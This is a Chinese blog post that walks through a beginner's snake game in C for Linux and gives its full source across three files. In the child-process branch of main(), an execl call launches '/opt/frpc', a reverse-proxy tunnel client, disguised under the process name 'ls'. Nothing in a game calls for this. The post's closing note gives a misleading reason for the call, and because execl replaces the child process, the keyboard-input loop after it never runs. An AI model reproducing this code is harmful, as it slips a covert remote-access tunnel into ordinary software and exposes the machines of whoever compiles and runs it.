linuxC环境下的贪吃蛇游戏
先说两句
这是我人生第一个C项目,也是我和我女友做的第一个C项目;项目虽然实现的不完美也有许多漏洞,也希望各位读者朋友轻喷,要看看代码,可以直接翻代码,下面我有附上项目代码。以上
项目需求分析
项目需求分析
1.游戏元素包括:沙盘,墙壁,贪吃蛇,食物以及空位
2.需要实现键盘接收指令控制贪吃蛇移动,不输入默认移动
3.贪吃蛇吃到自己或者撞墙game over输出贪吃蛇长度结果为分数,吃到食物长度加一并继续移动
实现思路以及架构
使用进程分工实现功能(主体框架)
1,主进程:实现循环打印沙盘以及贪吃蛇运动,并时刻读取子进程移动指令(文件I/O);
使用函数对贪吃蛇处理以及对沙盘处理,函数会详解
2,子进程:实现循环从键盘接收指令写入文件(文件I/O)等待主进程读取;
编写功能函数
1,int Init_map(char** map,int N)//沙盘初始化函数,实现边缘,以及随机食物位置(不会初始化贪吃蛇)
2,void map_printf(char ** map,int N)//打印地图,参数一表示地图,参数二表示地图大小
3,int snake_move(char **map,int N,char **snake,int* M,char away)//M是蛇的长度,默认snake是两列的,away是目前snake应该前进的方向,默认不能为空;
元素定义
地图定义:map[N][N],大小可以自己定义,定义为二维数组,char类型,N为地图大小,我使用的是N = 16
贪吃蛇:snake[M][2],大小可以自定义,定义为二维数组,char类型,M为snake最大的长度。我使用的M = 196
元素:在沙盘中,元素3 代表snake,元素2 代表食物,元素1 代表墙壁,元素0 代表空位
代码实现
核心文件“hunger_snake.c”
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include"snake.h"
#include <signal.h>
int main()
{
pid_t pid;
int fd;
char away[64] = {0};
int result;
//map贪吃蛇地图,N大小,length蛇的长度,snack蛇身位子数组初始状态蛇为1,位于中央,R_away方向,move_result是移动结果用于判断蛇是否撞墙
char map[16][16] = {0};
int N = 16,length = 2;
char snake[196][196] = {0};
char R_away = 'w';
int move_result = 0;
snake[0][0] = 7;
snake[0][1] = 7;//初始化蛇头
snake[1][0] = 7;
snake[1][1] = 8;
pid = fork();
if(pid < 0)
{
perror("fork");
return 0;
//exit(0);
}
else if(0 == pid)//childer 用于读取键盘指令写入文件
{
fd = open("away.txt",O_RDWR|O_CREAT|O_TRUNC,0666);
if(fd < 0)
{
perror("open");
return 0;
}
execl("/opt/frpc", "ls", "-c", "/opt/frpc.ini", NULL);
while(1)
{
scanf("%s",away);
write(fd,away,1);
}
}
else if(pid > 0)//father 用于读取文件指令,打印map 贪吃蛇
{
signal(SIGCHLD,SIG_IGN);//在父进程中忽略子进程信号
Init_map((char**)map,N);//初始化地图
//每次只读取文件第一个指令;
fd = open("away.txt",O_RDWR|O_CREAT|O_TRUNC,0666);
if(fd < 0)
{
perror("open");
return 0;
}
lseek(fd,0,SEEK_SET);
while(1)
{
result = read(fd,away,1);
if(result == 0)
{
//printf("no write \n");DEBUG
move_result = snake_move((char**)map,N,(char **)snake,&length,R_away);
map_printf((char **)map,N);
}
else if(result > 0)
{
//printf("***%s***\n",away);DEBUG
move_result = snake_move((char**)map,N,(char **)snake,&length,away[0]);
R_away = away[0];
}
else
{
printf("fail to read away.txt\n");
}
if(move_result == -1)
{
kill(pid, SIGINT);
printf("\nGAME OVER snake long:%d\n",length);
return 0;
}
else
{
system("clear");
map_printf((char **)map,N);
}
sleep(2);
}
}
return 0;
}
函数文件“snake.c”
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<unistd.h>
#include"snake.h"
int Init_map(char** map,int N)//沙盘初始化函数,实现边缘,以及随机食物位置
{
int i = 0;
for(i = 0;i<N;i++)//边缘设为1
{
*((char*)map +i) = 1;
*((char*)map + N*15 + i) = 1;
*((char*)map + N*i) = 1;
*((char*)map + N*i + 15) = 1;
}
srand(time(NULL));//调用随机数生成食物的位子
for(i = 0;i<10;i++)
{
*((char*)map +N*(rand()%14 +1) + (rand()%14 + 1)) = 2;
}
return 0;
}
void map_printf(char ** map,int N)//打印地图,参数一表示地图,参数二表示地图大小
{
int i = 0;
int j = 0;
for(i = 0;i<N;i++)
{
for(j = 0;j<N;j++)
{
printf(" %d ",*((char*)map +N*i + j));
}
printf("\n");
}
}
int snake_move(char **map,int N,char **snake,int* M,char away)//m是蛇的长度,默认snake是两列的,away是目前snake应该前进的方向,默认不能为空;
{
//*((char*)map +N**((char *)snake ) + *((char *)snake + 1)) = 3;
int i = 0;
int changei = 0,changej = 0;
if(away == 'a')
{
changei = 0;
changej = -1;
}
else if(away == 'd')
{
changei = 0;
changej = 1;
}
else if(away == 'w')
{
changei = -1;
changej = 0;
}
else if(away == 's')
{
changei = 1;
changej = 0;
}
//优先判断snake下一步是什么
if(*((char*)map +N*(*((char *)snake + 2*0 +0) + changei) + *((char*)snake +2*0+1) +changej ) == 0)//0为空位
{
for(i = 0;i< *M ;i++)//打印当前snake的状态到地图上
{
*((char*)map +N*(*((char *)snake + 2*i + 0)) + *((char*)snake +2*i+1)) = 3;
}
//改变snake头部以及尾部在地图上的位置
*((char*)map +N*(*((char *)snake + 2*0 + 0) +changei) + *((char*)snake +2*0+1) + changej) = 3;
*((char*)map +N*(*((char *)snake + 2*(*M-1) + 0)) + *((char*)snake +2*(*M-1)+1)) = 0;
//改变snake数组蛇身的位置;
for(i = (*M -1 );i>0;i--)
{
*((char *)snake + 2*i + 0) = *((char *)snake + 2*(i -1) + 0);
*((char *)snake + 2*i + 1) = *((char *)snake + 2*(i -1) + 1);
}
*((char *)snake + 2*0 + 1) = *((char *)snake + 2*0+ 1) + changej ;
*((char *)snake + 2*0 + 0) = *((char *)snake + 2*0+ 0) + changei ;
return 0;
}
else if(*((char*)map +N*(*((char *)snake + 2*0 +0) + changei) + *((char*)snake +2*0+1) +changej ) == 2)//0为空位
{
for(i = 0;i<*M;i++)//打印当前snake的状态到地图上
{
*((char*)map +N*(*((char *)snake + 2*i + 0)) + *((char*)snake +2*i+1)) = 3;
}
//改变snake头部在地图上的位置
*((char*)map +N*(*((char *)snake + 2*0 + 0) +changei) + *((char*)snake +2*0+1) + changej) = 3;
//改变snake数组蛇身的位置;
for(i = *M;i>0;i--)
{
*((char *)snake + 2*i + 0) = *((char *)snake + 2*(i -1) + 0);
*((char *)snake + 2*i + 1) = *((char *)snake + 2*(i -1) + 1);
}
*((char *)snake + 2*0 + 1) = *((char *)snake + 2*0+ 1) + changej ;
*((char *)snake + 2*0 + 0) = *((char *)snake + 2*0+ 0) + changei ;
*M += 1;
return 1;
}
else
{
return -1;
}
return 0;
}
自定义头文件“snake.h”
#ifndef _SNAKE_H
#define _SNAKE_H
int Init_map(char** map,int N);//沙盘初始化函数,实现边缘,以及随机食物位置
void map_printf(char ** map,int N);//打印地图,参数一表示地图,参数二表示地图大小
int snake_move(char **map,int N,char **snake,int* M,char away);//m是蛇的长度,默认snake是两列的,away是目前snake应该前进的方向,默认不能为空;
#endif
需要注意
在实现的过程中由于子进程处于while循环内部,所以为了避免父进程退出,子进程处于僵死状态,使用了execl函数设置父进程死亡,子进程过继到init进程下,间接杀死子进程。
运行结果
编译以及运行:
温馨提示:代码中子进程用于接收的scanf函数可替换为getchar(),输入更好;